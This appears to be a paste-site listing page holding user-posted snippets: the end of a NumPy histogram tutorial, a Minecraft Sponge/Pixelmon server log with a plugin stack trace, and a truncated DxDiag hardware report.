bin edges. Beware: matplotlib also has a function to build histograms (called hist, as in Matlab) that differs from the one in NumPy. The main difference is that pylab.hist plots the histogram automatically, while numpy.histogram only generates the data. >>> import numpy as np rg = np.random.default_rng(1) import matplotlib.pyplot as plt # Build a vector of 10000 normal deviates with variance 0.5^2 and mean 2 mu, sigma = 2, 0.5 v = rg.normal(mu,sigma,10000) # Plot a normalized histogram with 50 bins plt.hist(v, bins=50, density=1) # matplotlib version (plot) # Compute the histogram with numpy and then plot it (n, bins) = np.histogram(v, bins=50, density=True) # NumPy version (no plot) plt.plot(.5*(bins[1:]+bins[:-1]), n) ../_images/quickstart-2.png Further reading The Python tutorial NumPy Reference SciPy Tutorial SciPy Lecture Notes A matlab, R, IDL, NumPy/SciPy dictionary © Copyright 2008-2020, The SciPy community. Last updated on Jun 29, 2020. Created using Sphinx 2.4.4.

    From user aryia-behroziuan

  • boy17000 / cmd

    unknown-21-m, n:pixelmon.mob.magnemite [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.chandelure [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.kakuna [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.magikarp [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.dratini [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.tyranitar [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.whiscash [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.graveler [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.regice [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.combusken [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.garchomp [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.weedle [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.magnezone [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.darkrai [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.suicune [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.omanyte [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.servineM [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.magmortar [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.bastiodon [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.servineF [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.charmander [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.crobat [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.sableye [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.staravia [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.registeel [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.muk [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.hitmonlee [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.cubone [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.omastar [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.venomoth [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.growlithe [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.glaceon [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.sharpedo [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.mudkip [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.poliwag [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.giratina [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.bellsprout [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.armaldo [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.gible [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.aron [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.farfetchd [04:17:39] [Server thread/INFO] [FML]: Found a missing id from the world pixelmo n:pixelmon.mob.dodrio [04:17:39] [Server thread/INFO] [FML]: Applying holder lookups [04:17:39] [Server thread/INFO] [FML]: Holder lookups applied [04:17:39] [Server thread/INFO] [FML]: Loading dimension 0 (world) (DedicatedSer ver) [04:17:40] [Server thread/INFO]: Preparing start region for level 0 (world) [04:17:41] [Server thread/INFO]: Preparing spawn area: 44% [04:17:41] [Server thread/INFO] [Sponge]: Loading world [world] (Overworld) [04:17:41] [Server thread/INFO] [FML]: Loading dimension -1 (DIM-1) (DedicatedSe rver) [04:17:41] [Server thread/INFO] [Sponge]: Loading world [DIM-1] (Nether) [04:17:41] [Server thread/INFO] [FML]: Loading dimension 1 (DIM1) (DedicatedServ er) [04:17:41] [Server thread/INFO] [Sponge]: Loading world [DIM1] (The End) [04:17:41] [Server thread/INFO]: Preparing start region for level 0 (world) [04:17:41] [Server thread/INFO]: Done (2,424s)! For help, type "help" or "?" [04:17:41] [Server thread/INFO] [nucleus]: Nucleus is performing final tasks bef ore server startup completes. [04:17:41] [Server thread/INFO] [nucleus]: Nucleus has started. [04:17:42] [Server thread/INFO] [totaleconomy]: Total Economy Started [04:17:42] [Server thread/INFO]: ----------------------------------------------- ----------- [04:17:42] [Server thread/INFO]: - OFFICIAL NUCLEUS SUPPORT HAS ENDED FOR 1.10. 2/1.11.2 - [04:17:42] [Server thread/INFO]: ----------------------------------------------- ----------- [04:17:42] [Server thread/INFO]: Nucleus for Minecraft 1.10.2 and 1.11.2 is now in community support mode. This release contains community supplied patches. [04:17:42] [Server thread/INFO]: It will continue to remain available - and reme mber, it's open source! [04:17:42] [Server thread/INFO]: ----------------------------------------------- -- [04:18:28] [User Authenticator #1/INFO]: UUID of player Gxlactica is c572eed6-b1 51-4a8f-85ef-3daeac6f11f6 [04:18:28] [Netty Server IO #2/INFO] [FML]: Client protocol version 2 [04:18:28] [Netty Server IO #2/INFO] [FML]: Client attempting to join with 9 mod s : [email protected],[email protected],[email protected],[email protected] 53,[email protected],[email protected],[email protected],foamfix@@VERSION@,pixelmon @1.4.1 [04:18:28] [Netty Server IO #2/INFO] [FML]: Attempting connection with missing m ods [spongeapi, sponge, nucleus, pixelmoney, pixelgym, totaleconomy] at CLIENT [04:18:29] [Server thread/INFO] [FML]: [Server thread] Server side modded connec tion established [04:18:29] [Server thread/INFO]: Gxlactica[/192.168.178.1:62261] logged in with entity id 16 in world(0) at (23.79595048520408, 91.0, -27.039777670839822) [04:18:29] [Server thread/INFO]: [PixelmonGym] A Rock Gym Leader has come online ! (Gxlactica) [04:18:30] [Server thread/INFO]: Gxlactica joined the game [04:18:40] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /gyms [04:18:54] [Server thread/INFO]: [PixelmonGym] All gyms are now closed. [04:19:01] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /gymlist [04:20:05] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /pixelgym [04:20:09] [Server thread/INFO]: [PixelmonGym] All Elite 4 Level's are now close d. [04:21:45] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /rl [04:21:46] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /pl [04:21:51] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /tab [04:21:53] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /help [04:21:57] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:21:58] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:21:58] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:21:58] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:21:58] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:21:59] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:21:59] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:21:59] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:21:59] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:22:00] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:22:02] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:22:09] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:22:13] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /ngmc [04:22:15] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:22:16] [Server thread/ERROR] [Sponge]: The Scheduler tried to run the task P ay Day owned by Plugin{id=totaleconomy, name=Total Economy, version=1.7.1-API_7, description=All in one economy plugin for Minecraft/Sponge, source=C:\Users\alb recht\Desktop\minecraft server\mods\TotalEconomy-1.7.1-API_7.jar}, but an error occured. java.lang.NoClassDefFoundError: org/spongepowered/api/event/cause/EventContext at com.erigitic.jobs.JobManager.lambda$startSalaryTask$0(JobManager.java :158) ~[JobManager.class:?] at org.spongepowered.api.scheduler.Task$Builder.lambda$execute$0(Task.ja va:139) ~[Task$Builder.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.common.scheduler.SchedulerBase.lambda$startTask$0(S chedulerBase.java:183) ~[SchedulerBase.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.common.scheduler.SyncScheduler.executeTaskRunnable( SyncScheduler.java:81) ~[SyncScheduler.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.common.scheduler.SchedulerBase.startTask(SchedulerB ase.java:179) ~[SchedulerBase.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.common.scheduler.SchedulerBase.processTask(Schedule rBase.java:165) ~[SchedulerBase.class:1.10.2-2477-5.2.0-BETA-2793] at java.util.concurrent.ConcurrentHashMap$ValuesView.forEach(Unknown Sou rce) [?:1.8.0_151] at org.spongepowered.common.scheduler.SchedulerBase.runTick(SchedulerBas e.java:108) [SchedulerBase.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.common.scheduler.SyncScheduler.tick(SyncScheduler.j ava:51) [SyncScheduler.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.common.scheduler.SpongeScheduler.tickSyncScheduler( SpongeScheduler.java:191) [SpongeScheduler.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.mod.SpongeMod.onTick(SpongeMod.java:271) [SpongeMod .class:1.10.2-2477-5.2.0-BETA-2793] at net.minecraftforge.fml.common.eventhandler.ASMEventHandler_10_SpongeM od_onTick_ServerTickEvent.invoke(.dynamic) [?:?] at net.minecraftforge.fml.common.eventhandler.ASMEventHandler.invoke(ASM EventHandler.java:90) [ASMEventHandler.class:?] at net.minecraftforge.fml.common.eventhandler.EventBus.post(EventBus.jav a:632) [EventBus.class:?] at net.minecraftforge.fml.common.eventhandler.EventBus.post(EventBus.jav a:588) [EventBus.class:?] at net.minecraftforge.fml.common.FMLCommonHandler.onPreServerTick(FMLCom monHandler.java:274) [FMLCommonHandler.class:?] at net.minecraft.server.MinecraftServer.func_71217_p(MinecraftServer.jav a:602) [MinecraftServer.class:?] at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:471) [M inecraftServer.class:?] at java.lang.Thread.run(Unknown Source) [?:1.8.0_151] Caused by: java.lang.ClassNotFoundException: org.spongepowered.api.event.cause.E ventContext at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLo ader.java:191) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_151] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_151] ... 19 more Caused by: java.lang.NullPointerException [04:22:16] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /paginatio n 7a1cdb3a-4472-4ab5-8da5-4718ccb65ebf next [04:22:30] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /nsellall [04:22:33] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /nselk [04:22:35] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /nsell [04:22:36] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /sell [04:22:37] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /sell [04:22:43] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /nsetworth [04:22:56] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /setworth 4129 [04:22:59] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /setworth 4129 sell 1000 [04:23:14] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /setworth pixelmon:master_ball sell 1000 [04:23:17] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /sell all [04:23:20] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /sell [04:23:21] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /sell hand [04:23:23] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /itemsell [04:23:25] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /sell [04:23:27] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /sellall [04:23:36] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /nucleus:i temsellall -a pixelmon:master_ball [04:27:16] [Server thread/ERROR] [Sponge]: The Scheduler tried to run the task P ay Day owned by Plugin{id=totaleconomy, name=Total Economy, version=1.7.1-API_7, description=All in one economy plugin for Minecraft/Sponge, source=C:\Users\alb recht\Desktop\minecraft server\mods\TotalEconomy-1.7.1-API_7.jar}, but an error occured. java.lang.NoClassDefFoundError: org/spongepowered/api/event/cause/EventContext at com.erigitic.jobs.JobManager.lambda$startSalaryTask$0(JobManager.java :158) ~[JobManager.class:?] at org.spongepowered.api.scheduler.Task$Builder.lambda$execute$0(Task.ja va:139) ~[Task$Builder.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.common.scheduler.SchedulerBase.lambda$startTask$0(S chedulerBase.java:183) ~[SchedulerBase.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.common.scheduler.SyncScheduler.executeTaskRunnable( SyncScheduler.java:81) ~[SyncScheduler.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.common.scheduler.SchedulerBase.startTask(SchedulerB ase.java:179) ~[SchedulerBase.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.common.scheduler.SchedulerBase.processTask(Schedule rBase.java:165) ~[SchedulerBase.class:1.10.2-2477-5.2.0-BETA-2793] at java.util.concurrent.ConcurrentHashMap$ValuesView.forEach(Unknown Sou rce) [?:1.8.0_151] at org.spongepowered.common.scheduler.SchedulerBase.runTick(SchedulerBas e.java:108) [SchedulerBase.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.common.scheduler.SyncScheduler.tick(SyncScheduler.j ava:51) [SyncScheduler.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.common.scheduler.SpongeScheduler.tickSyncScheduler( SpongeScheduler.java:191) [SpongeScheduler.class:1.10.2-2477-5.2.0-BETA-2793] at org.spongepowered.mod.SpongeMod.onTick(SpongeMod.java:271) [SpongeMod .class:1.10.2-2477-5.2.0-BETA-2793] at net.minecraftforge.fml.common.eventhandler.ASMEventHandler_10_SpongeM od_onTick_ServerTickEvent.invoke(.dynamic) [?:?] at net.minecraftforge.fml.common.eventhandler.ASMEventHandler.invoke(ASM EventHandler.java:90) [ASMEventHandler.class:?] at net.minecraftforge.fml.common.eventhandler.EventBus.post(EventBus.jav a:632) [EventBus.class:?] at net.minecraftforge.fml.common.eventhandler.EventBus.post(EventBus.jav a:588) [EventBus.class:?] at net.minecraftforge.fml.common.FMLCommonHandler.onPreServerTick(FMLCom monHandler.java:274) [FMLCommonHandler.class:?] at net.minecraft.server.MinecraftServer.func_71217_p(MinecraftServer.jav a:602) [MinecraftServer.class:?] at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:471) [M inecraftServer.class:?] at java.lang.Thread.run(Unknown Source) [?:1.8.0_151] [04:27:20] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /sellall [04:27:22] [Server thread/INFO] [nucleus]: Gxlactica ran the command: /nucleus:i temsellall -a pixelmon:master_ball > ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss ssssssssssssssssssssssss [04:27:45] [Server thread/INFO] [nucleus]: Server ran the command: /ssssssssssss ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss ssssssssss [04:27:45] [Server thread/INFO]: Unknown command. Try /help for a list of comman ds >

    From user boy17000

  • denman2328 / help

    unknown-21-m, ------------------ System Information ------------------ Time of this report: 8/10/2013, 08:36:20 Machine name: BRYCE-PC Operating System: Windows 8 Pro 64-bit (6.2, Build 9200) (9200.win8_rtm.120725-1247) Language: English (Regional Setting: English) System Manufacturer: To Be Filled By O.E.M. System Model: To Be Filled By O.E.M. BIOS: BIOS Date: 04/13/12 20:22:30 Ver: 04.06.05 Processor: Intel(R) Core(TM) i5-3570K CPU @ 3.40GHz (4 CPUs), ~3.4GHz Memory: 8192MB RAM Available OS Memory: 8086MB RAM Page File: 4736MB used, 11541MB available Windows Dir: C:\WINDOWS DirectX Version: DirectX 11 DX Setup Parameters: Not found User DPI Setting: Using System DPI System DPI Setting: 96 DPI (100 percent) DWM DPI Scaling: Disabled DxDiag Version: 6.02.9200.16384 64bit Unicode ------------ DxDiag Notes ------------ Display Tab 1: No problems found. Display Tab 2: No problems found. Sound Tab 1: No problems found. Sound Tab 2: No problems found. Sound Tab 3: No problems found. Input Tab: No problems found. -------------------- DirectX Debug Levels -------------------- Direct3D: 0/4 (retail) DirectDraw: 0/4 (retail) DirectInput: 0/5 (retail) DirectMusic: 0/5 (retail) DirectPlay: 0/9 (retail) DirectSound: 0/5 (retail) DirectShow: 0/6 (retail) --------------- Display Devices --------------- Card name: NVIDIA GeForce GTX 670 Manufacturer: NVIDIA Chip type: GeForce GTX 670 DAC type: Integrated RAMDAC Device Type: Full Device Device Key: Enum\PCI\VEN_10DE&DEV_1189&SUBSYS_355A1458&REV_A1 Display Memory: 7823 MB Dedicated Memory: 4036 MB Shared Memory: 3787 MB Current Mode: 1920 x 1080 (32 bit) (60Hz) Monitor Name: Acer X233H Monitor Model: Acer X233H Monitor Id: ACR0093 Native Mode: 1920 x 1080(p) (60.000Hz) Output Type: DVI Driver Name: nvd3dumx.dll,nvwgf2umx.dll,nvwgf2umx.dll,nvd3dum,nvwgf2um,nvwgf2um Driver File Version: 9.18.0013.1106 (English) Driver Version: 9.18.13.1106 DDI Version: 11 Feature Levels: 11.0,10.1,10.0,9.3,9.2,9.1 Driver Model: WDDM 1.2 Graphics Preemption: DMA Compute Preemption: DMA Driver Attributes: Final Retail Driver Date/Size: 2/26/2013 00:32:38, 18055184 bytes WHQL Logo'd: Yes WHQL Date Stamp: Device Identifier: {D7B71E3E-52C9-11CF-BA73-57151CC2C435} Vendor ID: 0x10DE Device ID: 0x1189 SubSys ID: 0x355A1458 Revision ID: 0x00A1 Driver Strong Name: oem15.inf:0f066de34a9a900c:Section063:9.18.13.1106:pci\ven_10de&dev_1189 Rank Of Driver: 00E02001 Video Accel: ModeMPEG2_A ModeMPEG2_C ModeVC1_C ModeWMV9_C DXVA2 Modes: DXVA2_ModeMPEG2_IDCT DXVA2_ModeMPEG2_VLD DXVA2_ModeVC1_VLD DXVA2_ModeVC1_IDCT DXVA2_ModeWMV9_IDCT DXVA2_ModeH264_VLD_NoFGT Deinterlace Caps: {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_PixelAdaptive {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_BOBVerticalStretch {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(UYVY,UYVY) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_PixelAdaptive {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(UYVY,UYVY) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(UYVY,UYVY) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(UYVY,UYVY) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_BOBVerticalStretch {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(YV12,0x32315659) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_PixelAdaptive {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(YV12,0x32315659) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YV12,0x32315659) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YV12,0x32315659) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_BOBVerticalStretch {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(NV12,0x3231564e) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_PixelAdaptive {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(NV12,0x3231564e) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(NV12,0x3231564e) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(NV12,0x3231564e) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_BOBVerticalStretch {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= D3D9 Overlay: Supported DXVA-HD: Supported DDraw Status: Enabled D3D Status: Enabled AGP Status: Enabled Card name: Intel(R) HD Graphics 4000 Manufacturer: Intel Corporation Chip type: Intel(R) HD Graphics Family DAC type: Internal Device Type: Full Device Device Key: Enum\PCI\VEN_8086&DEV_0162&SUBSYS_01621849&REV_09 Display Memory: 1664 MB Dedicated Memory: 32 MB Shared Memory: 1632 MB Current Mode: 1920 x 1080 (32 bit) (59Hz) Monitor Name: SyncMaster 2233SW,SyncMaster Magic CX2233SW(Analog) Monitor Model: SyncMaster Monitor Id: SAM049A Native Mode: 1920 x 1080(p) (59.934Hz) Output Type: HD15 Driver Name: 